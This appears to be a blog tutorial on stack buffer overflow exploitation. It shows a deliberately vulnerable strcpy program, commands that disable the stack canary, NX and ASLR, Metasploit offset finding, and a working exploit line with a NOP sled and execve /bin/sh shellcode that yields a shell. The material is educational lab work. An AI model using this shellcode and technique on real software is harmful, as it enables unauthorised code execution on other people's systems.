Exploit Development: Stack Buffer Overflow

A stack buffer overflow occurs when a program writes more data to the stack than what is allocated to the buffer. This results in the extra data overwriting possibly important data in stack and causing the program to crash or to execute arbitrary code by possibly overwriting the instruction pointer and hence being able to redirect the execution flow of the program.
I used Evan’s debugger to demonstrate the buffer overflow on Kali Linux.

Vulnerable Code

A common buffer overflow vulnerability in a program is saving data input by the user to memory without checking its size of specifying the exact size of data to be written to memory. Knowing this fact, we can use a simple example of code vulnerable to a stack based buffer overflow.

#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
 char buffer[20];
 strcpy(buffer, argv[1]);
 printf("%s\n",buffer);
 return 0;
}

The above code saves an arbitrary size argv variable to a 20 byte buffer without checking the actual size of argv. If argv is greater than 20 bytes, it will result in a buffer overflow.

Crash and Debug

It’s almost time we crash our program. Before we do this, we must disable a few inbuilt buffer overflow protections. As buffer overflows are now a relatively older form of exploit, compilers and operating systems now have a few protection measures against them.

Stack Canary

A stack canary is a small random number placed on the stack just before the stack return pointer. In case a stack buffer overflow occurs, the canary value would be overwritten and the program would throw an exception. The stack canary can be disabled at compile time by compiling with the -fno-stack-protector option.

root@kali:~# gcc vulnerable.c -o vulnerable -fno-stack-protector

Data Execution Prevention(NX/DEP)

A stack buffer overflow usually leverages the ability to control execution flow by executing a payload which is stored in the program stack. DEP simply disabled execute permission on the program stack rendering the payload unexecutable and useless. This can be disabled by using a program such as execstack.

root@kali:~# execstack -s ./vulnerable

DEP can be bypassed by techniques such as ret2libc attack or ROP.

Address Space Layout Randomization(ASLR)

ASLR randomizes the memory space of the program so that overwriting the instruction pointer with a fixed location in memory is not as useful since the fixed location’s contents would be different each time the program is run and would not point to whatever it was meant to point to such as a payload or ROP gadget. ASLR can be temporarily disabled by typing the following command.

root@kali:~# echo 0 > /proc/sys/kernel/randomize_va_space

Now that all buffer overflow protections are disabled, we can proceed to (un)safely overflow the stack buffer in our code while using a debugger to check the results.
If we send a 200 byte input consisting of 200 A’s, the program crashes and in the debugger we see that EIP is overwritten with 0x41414141.
This is because the return address for the main function is also stored on the stack. After the memory allocated to the buffer runs out, the strcpy functions begins overwriting important elements present on the stack, one of which is the return address of the main function. Due to this, after the main function finishes execution and returns, the address which it returns to is read from the stack and stored in EIP which in this case is not a valid address, but just 0x41414141 due to our large buffer.

root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*200')

Program crash due to buffer overflow
Program crash due to buffer overflow

EIP points to 0x41414141
EIP points to 0x41414141

Controlling EIP

We need to figure out exactly which bytes of our 200 byte buffer are overwriting the EIP. The Metasploit framework has two great tools for this, pattern_create and pattern_offset. The first one creates a unique pattern to send as the buffer. The second one is used to find out the offset of the bytes which have overwritten the EIP.

root@kali:~# /usr/share/metasploit-framework/tools/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
root@kali:~# edb --run ./vulnerable Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

EIP points to a location in the unique pattern
EIP points to a location in the unique pattern

Now we can use pattern_offset to find the location of 31624130 in the generated pattern.

root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 31624130
[*] Exact match at offset 32

Now we need a good location to have the EIP point to; preferably somewhere we can store an executable payload. By sending a crafted payload, we can figure out a location in the program stack for our payload.

root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*32 + "B"*4 + "C"*164')

This will cause the program to crash and the EIP to point to 0x42424242 which is also an inaccessible memory location. However, if we take a closer look at the stack, we can see that the C’s are neatly aligned starting from 0xbffff990 and would make a good location for our shellcode payload.

Contents of stack after buffer overflow
Contents of stack after buffer overflow

Shellcode and Exploitation

We can grab a primitive shellcode which executes /bin/bash thus giving us a shell with the permissions of the user who runs the vulnerable program.
I used this 23 byte /bin/sh shellcode.
It is essential to remember that we need to keep the size of our buffer at 200 bytes or else the stack pointer locations will change and our hardcoded memory address for EIP will point to irrelevant memory.
We can fill the remaining space with ‘\x90’ characters which is basically a CPU no-operation command.

root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*32 + "\x90\xf9\xff\xbf" +"\x90"*141 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

We can check the edb output window to confirm that our exploit has worked and we have a shell.

Shell from buffer overflow exploit
Shell from buffer overflow exploit

We have successfully exploited our vulnerable program.
You can practice exploiting similar vulnerabilities in programs. I recommend following this guide on exploiting vulnserver and this guide on exploiting Crossfire 1.9.0.
You can grab vulnserver here.
Crossfire 1.9.0 is available on Sourceforge. A compile guide is available here. Remember to disable buffer overflow protections when compiling!

6 comments

Leave a Reply